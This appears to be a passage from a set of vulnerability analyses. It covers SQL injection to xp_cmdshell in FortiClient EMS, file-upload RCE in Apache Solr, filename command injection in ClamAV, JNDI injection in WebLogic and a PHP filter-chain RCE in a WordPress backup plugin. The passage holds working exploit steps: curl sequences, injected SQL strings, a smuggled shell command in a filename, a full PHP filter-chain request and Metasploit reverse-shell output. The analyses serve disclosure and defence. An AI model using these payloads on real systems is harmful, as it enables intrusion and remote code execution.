Server 2019 (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : KERBEROS Logged On Users : 16 Meterpreter : x64/windows meterpreter >
IOCs
There are a number of files in C:\Program Files (x86)\Fortinet\FortiClientEMS\logs\
that will contain evidence of exploitation on a compromised host. The following excerpts were taking from fcmdaemon[2024-04-10 15-29-42].log
and you can see the vulnerability being exploited as the FTCUID
parameter CBE8FC122B1A46D18C3541E1A8EFF7BD'
is being injected with SQL commands which enable the xp_cmdshell
which is then used to launch calc.exe
"CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848228,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0} [04-11 11:10:29][ ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE';--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0} [04-11 11:10:30][ ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE ';--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}
References
Technical Analysis
Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr.
This exploit abuses three components of the API. It should be noted that by default Apache Solr ships with no authentication mechanism to protect these API endpoints from attackers. The Basic Authentication plugin can easily be added to Apache Solr which makes this exploit an authenticated RCE however by default this is an unauth RCE.
The three API functions that this exploit uses to achieve code execution are as follows:
- /admin/configs?action=UPLOAD
- /admin/collections?action=CREATE
- /admin/collections?action=BACKUP
The configs UPLOAD function allows the user to upload a configuration specification in the form of the .zip file. The crux of the vulnerability lies in the fact that the zip file is not properly sanitized and an attacker is able to include a malicious .class file inside the zip. The class needs to be compiled with the following package name: package zk_backup_0.configs.conf1 ;
in order for it to be executed.
A number of extra steps are required in order to get that .class file to execute. Upload a config like so:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"
Next the collections CREATE function can be used to create a ‘collection’ in Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it (this is important to note for later). Create a collection from the config uploaded previously like so:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"
Next the attacker can abuse the BACKUP function. The backup function of the Collection can export malicious class files uploaded by attackers to a specific directory, which is very useful. This allows the attacker to place the malicious .class file in a location which will then be loaded by a Collection next time we create one. The backup function accepts the parameters locations
which is the path to be exported and name
which is actually equivalent to part of the path. Getting the .class file into a place where it can be executed successfully is a two step process. First export the collection like so:
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"
This will export collection1
to /var/solr/data/collection2_shard1_replica_n1
And it’s corresponding configuration is exported to: /var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/
Now export it again with location set to /var/solr/data/collection2_shard1_replica_n1
and name set to lib
:
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"
Now our malicious class we uploaded in the original config ends up here:
/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1
You may have noticed that the directory structure above corresponds exactly to the required package name mentioned earlier.
Now the attacker uploads a second configuration. This time without a malicious .class
but with:
<valueSourceParser name= "myfunc" class= "zk_backup_0.configs.conf1.Exp" />
Set inside solrconfig.xml
. This “SourceParser” will get loaded when a collection is created from this config.
Upload the config like so:
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"
And now for the the final step in the exploit, create a second collection from the second configuration just uploaded:
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"
During the collection creation process our malicious class will be loaded. It’s important to note the code one wants executed should be placed in the static
method of the malicious class such that it will be executed when the class is loaded as the class isn’t actually being called directly.
And Voilà! If everything has gone to plan the code in the static
method of the malicious class should execute in the context of the user running Apache Solr.
Attacker Value and Exploitability Explained
Attacker value 3/5
Although by default this vulnerability doesn’t require authentication, Apache Solr used in a production environment likely have an authentication plugin installed with it and or would likely not be exposed to the internet.
Exploitability 4/5
If you can access the application, exploitation is trivial, with the exception of needing to know credentials if the auth plugin is present.
Try it yourself
If you wish to see this exploit in action, simply spin up a vulnerable Apache Solr instance with the following docker-compose file:
version: '3' services: solr: image: solr:9.0.0 ports: - "8983:8983" - "5005:5005" command: sh -c "solr start -c -a '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' && tail -f /dev/null"
Load the metasploit module for this exploit, set the rhost
and lhost
values, run it and you should get a session in the context of the user running Apache Solr:
msf6 > use linux/http/apache_solr_backup_restore [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(linux/http/apache_solr_backup_restore) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Running check method [*] 127.0.0.1:8983: Authentication not required [*] Found Apache Solr 9.0.0 [*] OS version is Linux amd64 6.6.16-linuxkit [+] The target appears to be vulnerable. Found Apache Solr version: 9.0.0 [+] Uploaded configuration successfully [+] Backed up collection successfully [+] Backed up collection successfully [+] Uploaded configuration successfully [*] Sending stage (3045380 bytes) to 172.16.199.1 [+] Successfully dropped the payload [*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.1:50057) at 2024-04-01 16:18:17 -0700 [*] Cleaning up... meterpreter > getuid Server username: solr meterpreter > sysinfo Computer : 192.168.128.2 OS : Ubuntu 20.04 (Linux 6.6.16-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Technical Analysis
ClamAV is a open-source antivirus engine that has been around for the past 21 years and runs on many different operating systems including for AIX, BSD, HP-UX, Linux, macOS, OpenVMS, OSF, Solaris and Haiku and as of version 0.97.5, ClamAV builds and runs on Microsoft Windows.
A command injection vulnerability exists in the following ClamAV versions:
- 0.104 (all patch versions)
- 0.105 (all patch versions)
- 1.0.0 through 1.0.4 (LTS)
- 1.1 (all patch versions)
- 1.2.0 and 1.2.1
The command injection vulnerability allows users to execute commands in the context of the user running the ClamAV application, which is commonly a ClamAV daemon running as root though many other configurations are possible.
The vulnerability stems from the VirusEvent
feature which is not enabled by default but can be configured in ClamAV’s conf file: /etc/clamav/clamd.conf
. The feature is defined in the clamd.conf
as follows:
# Execute a command when virus is found. In the command string %v will # be replaced with the virus name and %f will be replaced with the file name. # Additionally, two environment variables will be defined: $CLAM_VIRUSEVENT_FILENAME # and $CLAM_VIRUSEVENT_VIRUSNAME. # Default: no #VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v in %f"
As stated in the definition above %v
is the virus name and %f
is the file name. The file name is not sanitized, allowing an attacker to inject a command into the command string.
The VirusEvent
feature is handled by the virusaction
function which is defined in the file clamd/clamd_others.c
:
void virusaction(const char *filename, const char *virname, const struct optstruct *opts) { pid_t pid; const struct optstruct *opt; char *buffer_file, *buffer_vir, *buffer_cmd, *path; const char *pt; size_t i, j, v = 0, f = 0, len; char *env[4]; if (!(opt = optget(opts, "VirusEvent"))->enabled) return; path = getenv("PATH"); env[0] = path ? strdup(path) : NULL; j = env[0] ? 1 : 0; /* Allocate env vars.. to be portable env vars should not be freed */ buffer_file = (char *)malloc(strlen(VE_FILENAME) + strlen(filename) + 2); if (buffer_file) { sprintf(buffer_file, "%s=%s", VE_FILENAME, filename); env[j++] = buffer_file; } buffer_vir = (char *)malloc(strlen(VE_VIRUSNAME) + strlen(virname) + 2); if (buffer_vir) { sprintf(buffer_vir, "%s=%s", VE_VIRUSNAME, virname); env[j++] = buffer_vir; } env[j++] = NULL; pt = opt->strarg; while ((pt = strstr(pt, "%v"))) { pt += 2; v++; } pt = opt->strarg; while ((pt = strstr(pt, "%f"))) { pt += 2; f++; } len = strlen(opt->strarg); buffer_cmd = (char *)calloc(len + v * strlen(virname) + f * strlen(filename) + 1, sizeof(char)); if (!buffer_cmd) { if (path) xfree(env[0]); xfree(buffer_file); xfree(buffer_vir); return; } for (i = 0, j = 0; i < len; i++) { if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'v') { strcat(buffer_cmd, virname); j += strlen(virname); i++; } else if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'f') { strcat(buffer_cmd, filename); j += strlen(filename); i++; } else { buffer_cmd[j++] = opt->strarg[i]; } } pthread_mutex_lock(&virusaction_lock); /* We can only call async-signal-safe functions after fork(). */ pid = vfork(); if (pid == 0) { /* child */ _exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env)); } else if (pid > 0) { /* parent */ pthread_mutex_unlock(&virusaction_lock); while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) continue; } else { pthread_mutex_unlock(&virusaction_lock); logg(LOGG_ERROR, "VirusEvent: fork failed.\n"); } if (path) xfree(env[0]); xfree(buffer_cmd); xfree(buffer_file); xfree(buffer_vir); }
The main purpose of the virusaction
function is to handle a virus event as defined by the conf file discussed earlier. The function accepts a filename
and a virname
(virusname) and its output is a virus alert which is a command run by the following line of code:
_exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));
As we can control the inputs to the buffer_cmd
command injection is trivial.
Example
If clamd.conf
is configured to run an echo command when a VirusEvent is detected, like so:
VirusEvent "echo VIRUS DETECTED: %v in the path %f >> /dev/stdout"
Then the following file name will cause the whoami
command to be executed and the output of the command will be redirected to stdout as defined by the VirusEvent.
echo VIRUS DETECTED: [signature] in the path xmrig;whoami; >> /dev/stdout
Then we can see the whoami
command being executed in the following output:
VIRUS DETECTED: Multios.Coinminer.Miner-6781728-2.UNOFFICIAL in the path /host/crypto-miner/xmrig root
References
https://securityonline.info/no-click-required-poc-available-for-clamav-command-injection-bug-cve-2024-20328/
https://amitschendel.github.io/vulnerabilites/CVE-2024-20328/
Technical Analysis
CVE-2023-21839
In early 2023 a vulnerability was found in the Oracle WebLogic IIOP/T3 protocol. When the IIOP/T3 protocol is enabled, unauthenticated attackers are able to execute arbitrary commands on the system. The vulnerability’s sink point was the following class weblogic.deployment.jms.ForeignOpaqueReference.class
which contains a function getReferent
which calls the following code:
try { var5 = var4.lookup(this.remoteJNDIName); }
This allows the attacker to initiate a JNDI injection attack by hosting malicious code on their own JNDI server to be downloaded and run by WebLogic. However, due to mitigations put in place by Java this JNDI injection technique used by the exploit is only exploitable on WebLogic Server running older versions of Java.
In the last few years Oracle has applied several restrictions that aimed to prevent attackers from exploiting JNDI Injection vulnerabilities. One example of such restriction is the trustURLCodebase
property which was introduced in Java Development Kit 8 – Update 121. This property prevents vulnerable applications from loading malicious objects from remote RMI repositories. Later, a similar restriction was added also to cover LDAP repositories.
Since those restrictions were added, exploiting JNDI Injection vulnerabilities now depends on existing gadgets, which means the classes used in the exploit must reside in the vulnerable application class path for the exploit to work.
CVE-2024-20931
In the January 2024 patch released by Oracle, a remote command execution vulnerability CVE-2024-20931 based on the Weblogic T3\IIOP protocol was fixed. This vulnerability still exploits the getReferent
function inside weblogic.deployment.jms.ForeignOpaqueReference.class
but it bypasses the patch put in place by CVE-2023-21839. It does this by setting the malicious JNDI url to the environment variable java.naming.provider.url
:
String providerURL = (String) this.jndiEnvironment.get("java.naming.provider.url");
which gets initialized after getReferent
is called and allows for this JNDI injection to be exploited in an alternate manner.
Caveats
This vulnerability has the same Java version limitations of its predecessor. In order for the WebLogic Server to be vulnerable it must be running Java <= 1.8.0_151. Given that this version of java is over six years old, the attacker value of this unauthenticated RCE vulnerability is quite low.
References
https://glassyamadeus.github.io/2024/01/31/CVE_2024_20931/
https://github.com/dinosn/CVE-2024-20931
Technical Analysis
The Backup Migration Wordpress plugin describes itself as an all in one solution if you need to migrate your WordPress site to another host or just restore the site from a backup. The plugin is quite popular with over 80,000 active installs. Versions 1.3.7 and earlier suffer from an unauthenticated remote code execution vulnerability. The vulnerability is exploitable through the Content-Dir
header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php
endpoint.
Inside /includes/backup-heart.php
we can see all the headers of the request get loaded into the $fields
variable:
31 // Get fields from header 32 if (isFunctionEnabled('getallheaders')) { 33 $fields = getallheaders(); 34 }
Later on in the file we see the value of the user controlled content-dir
header is loaded into the BMI_ROOT_DIR
variable.
62 define('BMI_ROOT_DIR', $fields['content-dir']);
Then BMI_INCLUDES
gets defined as BMI_ROOT_DIR . 'includes'
64 define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
And finally the user controlled variable which is now BMI_INCLUDES
gets fed into a require_once
statement.
118 require_once BMI_INCLUDES . '/bypasser.php';
Now you might be thinking – a user controlled variable being fed into a require
statement? Sounds like a Local File Inclusion vulnerability. You would be correct if it weren’t for a very neat technique called PHP Filter Chaining.
PHP Filter Chaining
php://filter
is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. The php://filter
target has one required parameter which is resource
and it specifies the stream that you would like to filter. For the purposes of PHP filter chaining we can set the resource to resource=php://temp
as we’re not actually interested in filtering any specific stream we just want to abuse the functionality of PHP filters.
There are thousands of languages throughout the world and our basic ASCII encoding table is far too small to represent all the characters used to express all of these different languages. So many encoding tables were created to convert or translate characters from one language to another. These conversion tables are also accessible through php://convert.iconv.*.*
wrappers.
The key to PHP filter chaining is that in some cases byte signatures are prepended by switching encoding. These signatures do not get removed from the string when you switch encoding a second time, they stack. In the case of Unicode (UTF-16), it is required to give to your system the order of the bytes to use (Byte Order Mark BOM), by digging a bit in the RFC 2781 referring to it:
The Unicode Standard and ISO 10646 define the character “ZERO WIDTH
NON-BREAKING SPACE” (0xFEFF), which is also known informally as “BYTE
ORDER MARK” (abbreviated “BOM”).This usage, suggested by Unicode
and ISO 10646 Annex F (informative), is to prepend a 0xFEFF character
to a stream of Unicode characters as a “signature”; a receiver of such
a serialized stream may then use the initial character both as a hint
that the stream consists of Unicode characters and as a way to recognize
the serialization order.
The technique was first introduced by a Computer Security enthusiast by the name of Gynvael Coldwind and since the introduction of the technique people have figured out how to chain encoding switches to prepend every letter in the base64 character set. We’re able to base64 decode the string using the php filter convert.base64-decode
so the base64 character set is all we need to know how to convert. Here is an excerpt from the conversion table:
"A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", "a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", "B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", "b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", "C" => "convert.iconv.UTF8.CSISO2022KR", "c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
If wish to prepend the character “A” to your string you simply need to chain these two filter conversion together: "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213
.
Turning the LFI in RCE
Now we can use the conversion table to prepend a PHP payload to the start of the of the string that gets interpreted by the require_once
statement on line 118 of
/includes/backup-heart.php
. The Content-Dir
header becomes very long and is subject to length HTTP request header length restrictions, however we are still able to send relatively small payloads such as <?php
echo>/tmp/pwned;?>
. The following POST request will send the aforementioned payload:
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Content-Dir: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp Content-Type: application/x-www-form-urlencoded Content-Length: 0
References
https://www.wordfence.com/blog/2023/12/critical-unauthenticated-remote-code-execution-found-in-backup-migration-plugin/
https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it
https://wordpress.org/plugins/backup-backup/
Hey yyt0524, my apologies, the pull request for the module is still in review on github but can be found here:
https://github.com/rapid7/metasploit-framework/pull/19082